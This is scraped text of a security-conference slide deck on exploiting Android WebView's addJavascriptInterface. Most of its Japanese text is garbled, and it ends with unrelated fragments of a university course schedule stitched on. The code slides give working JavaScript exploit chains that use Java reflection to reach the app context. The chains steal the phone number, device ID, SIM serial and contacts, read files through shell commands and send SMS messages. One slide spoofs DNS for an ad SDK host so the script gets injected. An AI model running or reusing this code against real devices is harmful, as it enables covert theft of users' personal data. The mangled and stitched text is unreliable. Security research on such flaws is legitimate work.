Hasegawa_pacsec.pptx

Size: px

Start display at page:

Download "Hasegawa_pacsec.pptx"

こうだいすみい
9 years ago
Views:

1 NetAgent Co., Ltd.

2 自己長谷

3 自己

5 用行

6 ff

7 示

8 示示

9 h"p://media.admob.com/sdk core v40.js

10 入

12 言

13 // MainActivity.java public class foo{... public void method( String message ){ dosomething( message );... WebViewObj.addJavascriptInterface( new foo, "javafooobj" ); <script> // inside WebView HTML javafooobj.method( "Hello, World from JavaScript" ); </script>

15 行

16 非生用

17 function getcontext(){ var s, prop, jsinterface, r; for( s in window ){ if( typeof window[ s ] === "object" && window[ s ]!== null ){ prop = window[ s ].tostring(); if( prop.match( /@[\da fa F]+/ ) ){ jsinterface = window[ s ]; if(!jsinterface ) return undefined; r = function( jsinterface ){ this.jsinterface = jsinterface; this.loadclass = function( classname ){ return this.jni = this.jsinterface.getclass().getclassloader().loadclass( classname ); ; this.jni = this.loadclass( "android.webkit.jniutil" ); var myfield = this.jni.getdeclaredfield('scontext'); myfield.setaccessible( true ); this.context = myfield.get( this.jni ); return new r( jsinterface );

18 function getcontext(){... var env = getcontext(); var checkpermission = function( permission ){ return env.context.getpackagemanager().checkpermission( permission, env.context.getpackagename() ) == 0; ; if( checkpermission( "android.permission.read_phone_state" ){...

19 // requires READ_PHONE_STATE permission function getcontext(){... var env = getcontext(); var telephonymanager = env.context.getsystemservice( "phone" ); do_something( telephonymanager.getline1number() ); do_something( telephonymanager.getdeviceid() ); do_something( telephonymanager.getsimserialnumber() );

20 // requires no permissions function getcontext(){... var filename = "/sdcard/download/test.txt"; var runtimeclass = env.loadclass( "java.lang.runtime" ); var runtime = runtimeclass.getmethod("getruntime", { ).invoke( null, { ); var process = runtime.exec( ["sh", " c", "ls l " + filename + ";echo \x01" ] ); var c, n, s = "", filesize; for( n = 0; n < 2000; n++ ){ if( ( c = process.getinputstream().read() ) == 0x01 )break; s += String.fromCharCode( c ); filesize = s.split( /\s+/g )[ 3 ] 0; process = runtime.exec( [ "sh", " c", "cat " + filename ] ); for( s = "", n = 0; n < filesize; n++ ){ c = process.getinputstream().read(); s += String.fromCharCode( c ); do_something( s );

21 // requires READ_CONTACTS permissions function getcontext(){... var ub = env.loadclass( "android.net.uri$builder" ); var uri = ub.newinstance().scheme( "content" ).authority( "com.android.contacts" ).path( "data" ).build(); var contentresolver = env.context.getcontentresolver(); var cursor = contentresolver.query( uri, [], "", [], "" ); var colcnt = cursor.getcolumncount(); while( cursor.movetonext() ){ var t = ""; for( var i = 0; i < colcnt; i++ ){ var s = cursor.getstring( i ); if( s!== undefined ){ t += cursor.getcolumnname( i ) + ":" + s + ","; do_something( t );

22 // requires SEND_SMS permission function getcontext(){... var env = getcontext(); var target = "080xxxxxxxx"; var text = "Hello, message"; var smsmanagerclass = env.loadclass( "android.telephony.smsmanager" ); var smsmanager = smsmanagerclass.getmethod( "getdefault", { ).invoke( null, { ); smsmanager.sendtextmessage( target, null, text, null, null );

23 // requires SEND_SMS permission function getcontext(){... var env = getcontext(); var runtimeclass = env.loadclass( "java.lang.runtime" ); var runtime = runtimeclass.getmethod("getruntime", { ).invoke( null, { ); var process = runtime.exec( [ "service", "call", "SERVICENAME", "args" ]);

25 # unbound.conf local data: "media.admob.com 10 IN A " A"acker Vic>ms

27 一

30 Reference goroh_kun(2013) Android : 3 WebView ,

10/ / /30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20 6. http, CGI Perl 11/27 7. ( ) Perl 12/ 4 8. Windows Winsock 12/11 9. JAV

10/ / /30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20 6. http, CGI Perl 11/27 7. ( ) Perl 12/ 4 8. Windows Winsock 12/11 9. JAV [email protected] [email protected] http://www.misojiro.t.u-tokyo.ac.jp/ tutimura/sem3/ 2002 12 11 p.1/33 10/16 1. 10/23 2. 10/30 3. ( ) 11/ 6 4. UNIX + C socket 11/13 5. ( ) C 11/20